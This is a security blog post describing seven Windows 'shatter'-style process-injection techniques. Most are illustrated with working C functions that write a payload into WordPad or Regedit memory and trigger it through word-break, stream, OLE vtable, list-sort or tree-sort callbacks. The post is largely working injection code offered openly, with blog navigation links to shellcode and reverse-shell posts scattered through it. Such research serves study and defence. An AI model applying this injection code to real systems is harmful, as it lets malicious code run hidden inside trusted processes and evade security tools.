Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline

Posted on April 25, 2019

Introduction

This is a quick response to a number of posts related to code/process injection by @hexacorn over the last week. He suggests seven new (one not so new) ways to use “shatter” style attacks for code injection/redirection. I’ll briefly discuss all of these and provide a few working examples. The first five examples work with Edit and Rich Edit controls. The last two work with `SysListView32` and `SysTreeView32`.

1. WordWarping
2. Hyphentension
3. AutoCourgette
4. Streamception
5. Oleum
6. ListPlanting
7. Treepoline

Rich Edit controls

To find these, you have the option of enumerating all windows with something like `EnumWindows`, retrieving the class name from window handle and then comparing the start of the string with "RICHEDIT". You can also find these controls manually with `FindWindow`/`FindWindowEx`. I'm working with an evaluation copy of Windows 10, so the only application I tested was Wordpad and finding the Rich Edit Control for that only required two lines of code.

```
    // 1. Get main window for wordpad.
    wpw = FindWindow(L"WordPadClass", NULL);

    // 2. Find the rich edit control.
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
```

- Windows Process Injection: Multiple Provider Router (MPR) DLL and Shell Notifications
- Windows Process Injection: Winsock Helper Functions (WSHX)
- Shellcode: In-Memory Execution of JavaScript, VBScript, JScript and XSL
- Shellcode: In-Memory Execution of DLL
- Windows Process Injection : Windows Notification Facility
- How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code
- Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy
- Windows Process Injection: CLIPBRDWNDCLASS
- Shellcode: Using the Exception Directory to find GetProcAddress
- Shellcode: Loading .NET Assemblies From Memory
- Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline
- Shellcode: A reverse shell for Linux in C with support for TLS/SSL
- Windows Process Injection: Print Spooler
- How the L0pht (probably) optimized attack against the LanMan hash.

WordWarping

A word wrapper callback function for an edit or rich edit control can be set using the `EM_SETWORDBREAKPROC` message. Simulating keyboard input via the `SendInput` or `PostMessage` APIs can trigger execution of the callback function. This method of injection was used to elevate privileges against a number of applications sixteen years ago. Although no CVE exist, it was used to exploit McAfee VirusScan, Sygate Personal Firewall Pro, WinVNC, Dameware and possibly others. The following code uses WordPad to inject code.

```
VOID wordwarping(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, wwf;
    SIZE_T        rd, wr;
    INPUT         ip;

    // 1. Get main window for wordpad.
    //    This will accept simulated keyboard input.
    wpw = FindWindow(L"WordPadClass", NULL);

    // 2. Find the rich edit control for wordpad.
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);

    // 3. Try get current address of Wordwrap function
    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);

    // 4. Obtain the process id for wordpad.
    GetWindowThreadProcessId(rew, &id);
```

- A Guide to ARM64 / AArch64 Assembly on Linux with Shellcodes and Cryptography
- Windows Process Injection: ConsoleWindowClass
- Windows Process Injection: Service Control Handler
- Windows Process Injection: Extra Window Bytes
- Windows Process Injection: PROPagate
- Shellcode: Encrypting traffic
- Shellcode: Synchronous shell for Linux in ARM32 assembly
- Windows Process Injection: Sharing the payload
- Windows Process Injection: Writing the payload
- Shellcode: Synchronous shell for Linux in amd64 assembly
- Shellcode: Synchronous shell for Linux in x86 assembly
- Stopping the Event Logger via Service Control Handler
- Shellcode: Encryption Algorithms in ARM Assembly
- Shellcode: A Tweetable Reverse Shell for x86 Windows
- Polymorphic Mutex Names
- Shellcode: Linux ARM (AArch64)
- Shellcode: Linux ARM Thumb mode
- Shellcode: Windows API hashing with block ciphers (Maru Hash)
- Using Windows Schannel for Covert Communication

```
    // 5. Try open the process.
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 6. Allocate RWX memory for the payload.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 7. Write the payload to memory
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 8. Update the callback procedure
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);

    // 9. Simulate keyboard input to trigger payload
    ip.type           = INPUT_KEYBOARD;
    ip.ki.wVk         = 'A';
    ip.ki.wScan       = 0;
    ip.ki.dwFlags     = 0;
    ip.ki.time        = 0;
    ip.ki.dwExtraInfo = 0;

    SetForegroundWindow(rew);
    SendInput(1, &ip, sizeof(ip));

    // 10. Restore original Wordwrap function (if any)
    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);

    // 11. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}
```

- Shellcode: x86 optimizations part 1
- WanaCryptor File Encryption and Decryption
- Shellcode: Dual Mode (x86 + amd64) Linux shellcode
- Shellcode: Fido and how it resolves GetProcAddress and LoadLibraryA
- Shellcode: Dual mode PIC for x86 (Reverse and Bind Shells for Windows)
- Shellcode: Solaris x86
- Shellcode: Mac OSX amd64
- Shellcode: Resolving API addresses in memory
- Shellcode: A Windows PIC using RSA-2048 key exchange, AES-256, SHA-3
- Shellcode: Execute command for x32/x64 Linux / Windows / BSD
- Shellcode: Detection between Windows/Linux/BSD on x86 architecture
- Shellcode: FreeBSD / OpenBSD amd64
- Shellcode: Linux amd64
- Shellcodes: Executing Windows and Linux Shellcodes
- DLL/PIC Injection on Windows from Wow64 process
- Asmcodes: Platform Independent PIC for Loading DLL and Executing Commands

Hyphentension

```
typedef struct tagHyphenateInfo {
  SHORT cbSize;
  SHORT dxHyphenateZone;
  void((WCHAR *,LANGID, long,HYPHRESULT *) * )pfnHyphenate;
} HYPHENATEINFO;
```

Information about hyphenation for a Rich Edit control can be obtained by sending the `EM_GETHYPHENATEINFO` message with a pointer to a `HYPHENATEINFO` structure. However, it assumes the pointer to structure is local memory, thus an attacker must allocate memory for the information using `VirtualAllocEx` before sending `EM_GETHYPHENATEINFO` with `SendMessage` or `PostMessage`. Before using `EM_SETHYPHENATEINFO`, it may be required to set the typography options of an edit control. Although I was unable to get this working with WordPad, I suspect it's possible with a feature rich word processor like Microsoft Word.

AutoCourgette

According to MSDN, the minimum supported client for the `EM_SETAUTOCORRECTPROC` message is Windows 8, so it's a relatively new feature. WordPad obviously doesn't support autocorrecting, so I wasn't able to get it working. Like hyphenation, this will probably work with Microsoft Word.

Streamception

```
typedef struct _editstream {
  DWORD_PTR          dwCookie;
  DWORD              dwError;
  EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;
```

When a rich edit control receives the `EM_STREAMIN` message, it uses the information provided in an `EDITSTREAM` structure to transfer a stream of data into or out of the control. The `pfnCallback` field is of type `EDITSTREAMCALLBACK` and can point to a payload in memory. I made sure `EDITSTREAMCALLBACK` returns a non-zero value to indicate an error, but the contents of the rich edit control still ends up being erased. It works, but not without destruction of the existing buffer stream. There's probably a way to solve that problem, but I didn't investigate.

```
VOID streamception(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, ds;
    SIZE_T        rd, wr;
    EDITSTREAM    es;

    // 1. Get window handles
    wpw = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);

    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Allocate RW memory and copy the EDITSTREAM structure there.
    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),
      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    es.dwCookie    = 0;
    es.dwError     = 0;
    es.pfnCallback = cs;

    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);

    // 5. Trigger payload with EM_STREAMIN
    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);

    // 6. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
  }
```

Oleum

After working on the first four, I started to examine the potential of EM_SETOLECALLBACK. It was around the same time Adam updated his blog to say he discovered this message too. The EM_GETOLECALLBACK message does not appear to be well documented, and when sent to the rich edit window with SendMessage will crash if LPARAM does not point to locally accessible memory. Moreover, EM_GETOLECALLBACK did not return a pointer to IRichEditOleCallback as expected, it returned a pointer to IRichEditOle instead. Because of this, I did not use EM_SETOLECALLBACK. Instead, the heap memory holding IRichEditOle.lpVtbl is overwritten with an address to a copy of the original table with one method pointing to the payload, in this case GetClipboardData.

We can't overwrite the virtual function table because it resides in read-only memory. Well, perhaps you can overwrite after changing the memory protection, but I wouldn't recommend it. Making a copy, updating one entry and simply redirecting execution through that makes more sense.

```
typedef struct _IRichEditOle_t {
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR GetClientSite;
    ULONG_PTR GetObjectCount;
    ULONG_PTR GetLinkCount;
    ULONG_PTR GetObject;
    ULONG_PTR InsertObject;
    ULONG_PTR ConvertObject;
    ULONG_PTR ActivateAs;
    ULONG_PTR SetHostNames;
    ULONG_PTR SetLinkAvailable;
    ULONG_PTR SetDvaspect;
    ULONG_PTR HandsOffStorage;
    ULONG_PTR SaveCompleted;
    ULONG_PTR InPlaceDeactivate;
    ULONG_PTR ContextSensitiveHelp;
    ULONG_PTR GetClipboardData;
    ULONG_PTR ImportDataObject;
} _IRichEditOle;
```

The following code uses wordpad as an example because I couldn’t find any other applications on an evaluation version of windows that used the EM_SETOLECALLBACK message. It replaces the address of GetClipboardData with address of payload and then sends WM_COPY to the rich edit window.

```
VOID oleum(LPVOID payload, DWORD payloadSize) {
    HANDLE                hp;
    DWORD                 id;
    HWND                  rew;
    LPVOID                cs, ds, ptr, mem, tbl;
    SIZE_T                rd, wr;
    _IRichEditOle         reo;

    // 1. Get the window handle
    rew = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);

    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
    // 3. Allocate RWX memory and copy the payload there
    cs = VirtualAllocEx(hp, NULL, payloadSize,
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Allocate RW memory for the current address
    ptr = VirtualAllocEx(hp, NULL, sizeof(ULONG_PTR),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 5. Query the interface
    SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);

    // 6. Read the memory address
    ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);

    // 7. Read IRichEditOle.lpVtbl
    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);

    // 8. Read virtual function table
    ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);

    // 9. Allocate memory for copy of virtual table
    ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 10. Set the GetClipboardData method to address of payload
    reo.GetClipboardData = (ULONG_PTR)cs;

    // 11. Write new virtual function table to remote memory
    WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);
    // 12. update IRichEditOle.lpVtbl
    WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr);

    // 13. Trigger payload by invoking the GetClipboardData method
    PostMessage(rew, WM_COPY, 0, 0);

    // 14. Restore original value of IRichEditOle.lpVtbl
    WriteProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);

    // 15. Free memory and close process handle
    VirtualFreeEx(hp, ptr,0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}
```

Listplanting

Sorting items/groups in a ListView control can be customized using the `LVM_SORTGROUPS`, `LVM_INSERTGROUPSORTED` and `LVM_SORTITEMS` messages. The following structure is used for `LVM_INSERTGROUPSORTED`.

```
typedef struct tagLVINSERTGROUPSORTED {
  PFNLVGROUPCOMPARE pfnGroupCompare;
  void              *pvData;
  LVGROUP           lvGroup;
} LVINSERTGROUPSORTED, *PLVINSERTGROUPSORTED;
```

The following code uses the registry editor and `LVM_SORTITEMS` to trigger the payload. The problem is that the callback function will be invoked for every item in the list. If no items are in the list, the function isn't invoked at all. I can think of some ways to work around these issues such as checking how many items are in the list, adding items, removing items, playing around with the parameters passed to the callback function.

```
VOID listplanting(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          lvm;
    LPVOID        cs;
    SIZE_T        wr;

    // 1. get the window handle
    lvm = FindWindow(L"RegEdit_RegEdit", NULL);
    lvm = FindWindowEx(lvm, 0, L"SysListView32", 0);

    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(lvm, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 4. Trigger payload
    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);

    // 5. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}
```

Treepoline

```
typedef struct tagTVSORTCB {
  HTREEITEM    hParent;
  PFNTVCOMPARE lpfnCompare;
  LPARAM       lParam;
} TVSORTCB, *LPTVSORTCB;
```

It’s possible to customize sorting via the `TVM_SORTCHILDRENCB` message. For each item, the payload will be executed, so this also requires additional checks to avoid multiple instances running. The first thing we do after obtaininig the TreeListView window handle is get the root item. An item is required before the callback function is invoked.

```
// requires elevated privileges
VOID treepoline(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
```

```
        HWND          wpw, tlv;
        LPVOID        cs, ds, item;
        SIZE_T        rd, wr;
        TVSORTCB      tvs;

        // 1. get the treeview handle
        wpw = FindWindow(L"RegEdit_RegEdit", NULL);
        tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);

        // 2. Obtain the process id and try to open process
        GetWindowThreadProcessId(tlv, &id);
        hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

        // 3. Allocate RWX memory and copy the payload there.
        cs = VirtualAllocEx(hp, NULL, payloadSize,
            MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

        // 4. Obtain the root item in tree list
        item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);

        tvs.hParent     = item;
        tvs.lpfnCompare = cs;
        tvs.lParam      = 0;

        // 5. Allocate RW memory and copy the TVSORTCB structure
        ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),
            MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

        WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
```

```
    // 6. Trigger payload
    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);

    // 7. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
  }
```

That’s all!. PoC here.

Share this:

Twitter Facebook

★ Like

Be the first to like this.

Related

Windows Process Injection: Tooltip or Common Controls
In "injection"

Windows Process Injection: KnownDlls Cache Poisoning
In "injection"

Windows Process Injection: Winsock Helper Functions (WSHX)
In "malware"

This entry was posted in injection, security, shellcode, windows and tagged autocourgette, hyphentension, injection, listplanting, oleum, propagate, shatter, streamception, treepoline, windows, wordwarping. Bookmark the permalink.

← Shellcode: A reverse shell for Linux in C with support for TLS/SSL

Shellcode: Loading .NET Assemblies From Memory →

Leave a Reply

Enter your comment here...

modexp

Blog at WordPress.com.